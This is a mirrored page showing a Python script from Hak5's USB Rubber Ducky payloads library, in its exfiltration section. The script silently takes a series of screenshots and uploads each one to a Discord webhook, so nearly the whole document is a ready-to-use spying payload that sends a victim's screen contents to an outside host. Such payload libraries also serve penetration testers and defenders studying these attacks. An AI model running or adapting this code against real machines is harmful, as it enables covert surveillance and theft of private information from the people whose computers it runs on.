Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Exfiltrate Computer Screenshots/script.py
2968 views
1
import pyautogui
2
from time import sleep
3
import requests
4
5
6
# YOUR DISCORD WEBHOOK
7
discord_webhook = "https://discord.com/api/webhooks/123456789/xxxxxxxxxx"
8
9
# Edit this variables as you want
10
SCREENSHOTS = 10
11
TIMING = 5
12
13
for i in range(SCREENSHOTS):
14
sleep(TIMING)
15
16
# take the screenshot
17
screenshot = pyautogui.screenshot()
18
screenshot.save("screenshot.png")
19
20
with open("screenshot.png", "rb") as f:
21
foto = f.read()
22
23
richiesta = {
24
"username": "ExfiltrateComputerScreenshot"
25
}
26
27
# Send the message by attaching the photo
28
response = requests.post(discord_webhook, data=richiesta, files={"Screen#"+str(i)+".png": foto})
29
30
# Useful for debugging
31
# if response.status_code == 200:
32
# print("Photo successfully sent!")
33
# else:
34
# print("Error while submitting photo." + str(response.status_code))
35